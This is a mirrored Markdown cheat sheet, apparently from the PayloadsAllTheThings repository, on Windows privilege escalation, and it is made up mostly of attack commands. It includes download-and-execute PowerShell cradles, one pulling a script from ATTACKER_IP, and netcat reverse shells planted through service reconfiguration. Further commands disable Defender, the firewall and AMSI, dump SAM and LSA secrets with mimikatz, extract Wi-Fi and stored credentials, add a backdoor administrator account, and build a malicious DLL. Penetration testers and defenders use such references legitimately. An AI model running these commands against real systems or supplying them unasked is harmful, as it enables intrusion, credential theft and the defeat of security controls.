wanderer/ PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-05-26 20:26:03 +02:00
Code Issues Releases Activity
PayloadsAllTheThings/Methodology and Resources/Windows - Privilege Escalat...
2021-11-06 19:14:47 +01:00

1477 lines
61 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Windows - Privilege Escalation
## Summary
* [Tools](#tools)
* [Windows Version and Configuration](#windows-version-and-configuration)
* [User Enumeration](#user-enumeration)
* [Network Enumeration](#network-enumeration)
* [Antivirus & Detections](#antivirus--detections)
* [Windows Defender](#windows-defender)
* [Firewall](#firewall)
* [AppLocker Enumeration](#applocker-enumeration)
* [Powershell](#powershell)
* [Default Writeable Folders](#default-writeable-folders)
* [EoP - Looting for passwords](#eop---looting-for-passwords)
* [SAM and SYSTEM files](#sam-and-system-files)
* [HiveNightmare](#hivenightmare)
* [Search for file contents](#search-for-file-contents)
* [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename)
* [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords)
* [Passwords in unattend.xml](#passwords-in-unattendxml)
* [Wifi passwords](#wifi-passwords)
* [Sticky Notes passwords](#sticky-notes-passwords)
* [Passwords stored in services](#passwords-stored-in-services)
* [Powershell History](#powershell-history)
* [Powershell Transcript](#powershell-transcript)
* [Password in Alternate Data Stream](#password-in-alternate-data-stream)
* [EoP - Processes Enumeration and Tasks](#eop---processes-enumeration-and-tasks)
* [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services)
* [EoP - Windows Subsystem for Linux (WSL)](#eop---windows-subsystem-for-linux-wsl)
* [EoP - Unquoted Service Paths](#eop---unquoted-service-paths)
* [EoP - $PATH Interception](#eop---path-interception)
* [EoP - Named Pipes](#eop---named-pipes)
* [EoP - Kernel Exploitation](#eop---kernel-exploitation)
* [EoP - AlwaysInstallElevated](#eop---alwaysinstallelevated)
* [EoP - Insecure GUI apps](#eop---insecure-gui-apps)
* [EoP - Evaluating Vulnerable Drivers](#eop---evaluating-vulnerable-drivers)
* [EoP - Printers](#eop---printers)
* [Universal Printer](#universal-printer)
* [Bring Your Own Vulnerability](#bring-your-own-vulnerability)
* [EoP - Runas](#eop---runas)
* [EoP - Abusing Shadow Copies](#eop---abusing-shadow-copies)
* [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system)
* [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts)
* [EoP - Impersonation Privileges](#eop---impersonation-privileges)
* [Restore A Service Account's Privileges](#restore-a-service-accounts-privileges)
* [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives)
* [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation)
* [Juicy Potato (Abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges)
* [Rogue Potato (Fake OXID Resolver)](#rogue-potato-fake-oxid-resolver))
* [EFSPotato (MS-EFSR EfsRpcOpenFileRaw)](#efspotato-ms-efsr-efsrpcopenfileraw))
* [EoP - Privileged File Write](#eop---privileged-file-write)
* [DiagHub](#diaghub)
* [UsoDLLLoader](#usodllloader)
* [WerTrigger](#wertrigger)
* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure)
* [MS08-067 (NetAPI)](#ms08-067-netapi)
* [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7)
* [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003)
* [MS15-051 (Client Copy Image)](#ms15-051---microsoft-windows-2003--2008--7--8--2012)
* [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
* [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue)
* [CVE-2019-1388](#cve-2019-1388)
* [EoP - $PATH Interception](#eop---path-interception)
* [References](#references)
## Tools
- [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit)
```powershell
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
```
- [Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock](https://github.com/rasta-mouse/Watson)
- [(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities](https://github.com/rasta-mouse/Sherlock)
```powershell
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1
```
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
- [Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester)
```powershell
./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
```
- [windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems](https://github.com/pentestmonkey/windows-privesc-check)
- [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits)
- [WindowsEnum - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum)
- [Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.](https://github.com/GhostPack/Seatbelt)
```powershell
Seatbelt.exe -group=all -full
Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"
Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""
```
- [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless)
- [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS)
```powershell
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
```
- [winPEAS - Windows Privilege Escalation Awesome Script](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)
- [Windows Exploit Suggester - Next Generation (WES-NG)](https://github.com/bitsadmin/wesng)
```powershell
# First obtain systeminfo
systeminfo
systeminfo > systeminfo.txt
# Then feed it to wesng
python3 wes.py --update-wes
python3 wes.py --update
python3 wes.py systeminfo.txt
```
- [PrivescCheck - Privilege Escalation Enumeration Script for Windows](https://github.com/itm4n/PrivescCheck)
```powershell
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"
```
## Windows Version and Configuration
```powershell
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```
Extract patchs and updates
```powershell
wmic qfe
```
Architecture
```powershell
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
```
List all env variables
```powershell
set
Get-ChildItem Env: | ft Key,Value
```
List all drives
```powershell
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
```
## User Enumeration
Get current username
```powershell
echo %USERNAME% || whoami
$env:username
```
List user privilege
```powershell
whoami /priv
whoami /groups
```
List all users
```powershell
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
```
List logon requirements; useable for bruteforcing
```powershell$env:usernadsc
net accounts
```
Get details about a user (i.e. administrator, admin, current user)
```powershell
net user administrator
net user admin
net user %USERNAME%
```
List all local groups
```powershell
net localgroup
Get-LocalGroup | ft Name
```
Get details about a group (i.e. administrators)
```powershell
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
```
Get Domain Controllers
```powershell
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName
```
## Network Enumeration
List all network interfaces, IP, and DNS.
```powershell
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```
List current routing table
```powershell
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
```
List the ARP table
```powershell
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
```
List all current connections
```powershell
netstat -ano
```
List all network shares
```powershell
net share
powershell Find-DomainShare -ComputerDomain domain.local
```
SNMP Configuration
```powershell
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```
## Antivirus & Detections
Enumerate antivirus on a box with `WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName`
### Windows Defender
```powershell
# check status of Defender
PS C:\> Get-MpComputerStatus
# disable scanning all downloaded files and attachments, disable AMSI (reactive)
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true; Get-MpComputerStatus
PS C:\> Set-MpPreference -DisableIOAVProtection $true
# disable AMSI (set to 0 to enable)
PS C:\> Set-MpPreference -DisableScriptScanning 1
# exclude a folder
PS C:\> Add-MpPreference -ExclusionPath "C:\Temp"
PS C:\> Add-MpPreference -ExclusionPath "C:\Windows\Tasks"
PS C:\> Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
# remove signatures (if Internet connection is present, they will be downloaded again):
PS > & "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" -RemoveDefinitions -All
PS > & "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
```
### Firewall
List firewall state and current configuration
```powershell
netsh advfirewall firewall dump
# or
netsh firewall show state
netsh firewall show config
```
List firewall's blocked ports
```powershell
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
```
Disable firewall
```powershell
# Disable Firewall on Windows 7 via cmd
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# Disable Firewall on Windows 7 via Powershell
powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'`
# Disable Firewall on any windows via cmd
netsh firewall set opmode disable
netsh Advfirewall set allprofiles state off
```
### AppLocker Enumeration
- With the GPO
- HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2 (Keys: Appx, Dll, Exe, Msi and Script).
* List AppLocker rules
```powershell
PowerView PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
```
* Applocker Bypass
* https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
* https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md
* https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/DLL-Execution.md
### Powershell
Default powershell locations in a Windows system.
```powershell
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
```
Powershell Constrained Mode
```powershell
# Check if we are in a constrained mode
$ExecutionContext.SessionState.LanguageMode
PS > &{ whoami }
powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')"
# PowerShDLL - Powershell with no Powershell.exe via DLL’s
# https://github.com/p3nt4/PowerShdll
ftp> rundll32.exe C:\temp\PowerShdll.dll,main
```
Example of AMSI Bypass.
```powershell
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
```
### Default Writeable Folders
```powershell
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
```
## EoP - Looting for passwords
### SAM and SYSTEM files
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
```powershell
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```
Generate a hash file for John using `pwdump` or `samdump2`.
```powershell
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
```
Either crack it with `john -format=NT /root/sam.txt` or use Pass-The-Hash.
### HiveNightmare
> CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user
Check for the vulnerability using `icacls`
```powershell
C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX) <-- this is wrong - regular users should not have read access!
```
Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.
```powershell
mimikatz> token::whoami /full
# List shadow copies available
mimikatz> misc::shadowcopies
# Extract account from SAM databases
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM
# Extract secrets from SECURITY
mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
```
### Search for file contents
```powershell
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
```
### Search for a file with a certain filename
```powershell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```
### Search the registry for key names and passwords
```powershell
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```
### Read a value of a certain sub key
```powershell
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
```
### Passwords in unattend.xml
Location of the unattend.xml files.
```powershell
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```
Display the content of these files with `dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul`.
Example content
```powershell
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
```
Unattend credentials are stored in base64 and can be decoded manually with base64.
```powershell
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
SecretSecurePassword1234*
```
The Metasploit module `post/windows/gather/enum_unattend` looks for these files.
### IIS Web config
```powershell
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```
```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
```
### Other files
```bat
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
```
### Wifi passwords
Find AP SSID
```bat
netsh wlan show profile
```
Get Cleartext Pass
```bat
netsh wlan show profile <SSID> key=clear
```
Oneliner method to extract wifi passwords from all the access point.
```batch
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
```
### Sticky Notes passwords
The sticky notes app stores it's content in a sqlite db located at `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`
### Passwords stored in services
Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using [SessionGopher](https://github.com/Arvanaghi/SessionGopher)
```powershell
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
### Powershell History
Disable Powershell history: `Set-PSReadlineOption -HistorySaveStyle SaveNothing`.
```powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### Powershell Transcript
```xml
C:\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
```
### Password in Alternate Data Stream
```ps1
PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag
```
## EoP - Processes Enumeration and Tasks
* What processes are running?
```powershell
tasklist /v
net start
sc query
Get-Service
Get-Process
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
```
* Which processes are running as "system"
```powershell
tasklist /v /fi "username eq system"
```
* Do you have powershell magic?
```powershell
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
```
* List installed programs
```powershell
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
* List services
```powershell
net start
wmic service list brief
tasklist /SVC
```
* Enumerate scheduled tasks
```powershell
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
```
* Startup tasks
```powershell
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
```
## EoP - Incorrect permissions in services
> A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.
Often, services are pointing to writeable locations:
- Orphaned installs, not installed anymore but still exist in startup
- DLL Hijacking
```powershell
# find missing DLL
- Find-PathDLLHijack PowerUp.ps1
- Process Monitor : check for "Name Not Found"
# compile a malicious dll
- For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
- For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
# content of windows_dll.c
#include <windows.h>
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}
```
- PATH directories with weak permissions
```powershell
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
```
Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions`
Note to check file permissions you can use `cacls` and `icacls`
> icacls (Windows Vista +)
> cacls (Windows XP)
You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or `BUILTIN\Users:(W)`(Write-only access) in the output.
### Example with Windows 10 - CVE-2019-1322 UsoSvc
Prerequisite: Service account
```powershell
PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: usosvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Update Orchestrator Service
DEPENDENCIES : rpcss
SERVICE_START_NAME : LocalSystem
PS C:\Windows\system32> sc.exe start UsoSvc
```
### Example with Windows XP SP1 - upnphost
```powershell
# NOTE: spaces are mandatory for this exploit to work !
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost
```
If it fails because of a missing dependency, try the following commands.
```powershell
sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost
sc config upnphost depend=""
```
Using [`accesschk`](https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe) from Sysinternals or [accesschk-XP.exe - github.com/phackt](https://github.com/phackt/pentest/blob/master/privesc/windows/accesschk-XP.exe)
```powershell
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS
$ accesschk.exe -ucqv upnphost
upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
$ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>
```
## EoP - Windows Subsystem for Linux (WSL)
Technique borrowed from [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032)
> With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ <distro>.exe --default-user root. Now start your bind shell or reverse.
```powershell
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```
Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
Alternatively you can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`
## EoP - Unquoted Service Paths
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.
```powershell
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```
* Metasploit exploit : `exploit/windows/local/trusted_service_path`
* PowerUp exploit
```powershell
# find the vulnerable application
C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"
...
[*] Checking for unquoted service paths...
ServiceName : BBSvc
Path : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
...
# automatic exploit
Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
```
### Example
For `C:\Program Files\something\legit.exe`, Windows will try the following paths first:
- `C:\Program.exe`
- `C:\Program Files.exe`
## EoP - $PATH Interception
Requirements:
- PATH contains a writeable folder with low privileges.
- The writeable folder is _before_ the folder that contains the legitimate binary.
EXAMPLE:
```powershell
# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path
# See permissions of the target folder
# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"
# Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
```
Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\system32\" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder.
## EoP - Named Pipes
1. Find named pipes: `[System.IO.Directory]::GetFiles("\\.\pipe\")`
2. Check named pipes DACL: `pipesec.exe <named_pipe>`
3. Reverse engineering software
4. Send data throught the named pipe : `program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe`
## EoP - Kernel Exploitation
List of exploits kernel : [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)
##### #Security Bulletin&nbsp;&nbsp;&nbsp;#KB &nbsp;&nbsp;&nbsp;&nbsp;#Description&nbsp;&nbsp;&nbsp;&nbsp;#Operating System
- [MS17-017](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-017) 　[KB4013081]　　[GDI Palette Objects Local Privilege Escalation]　　(windows 7/8)
- [CVE-2017-8464](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-8464) 　[LNK Remote Code Execution Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
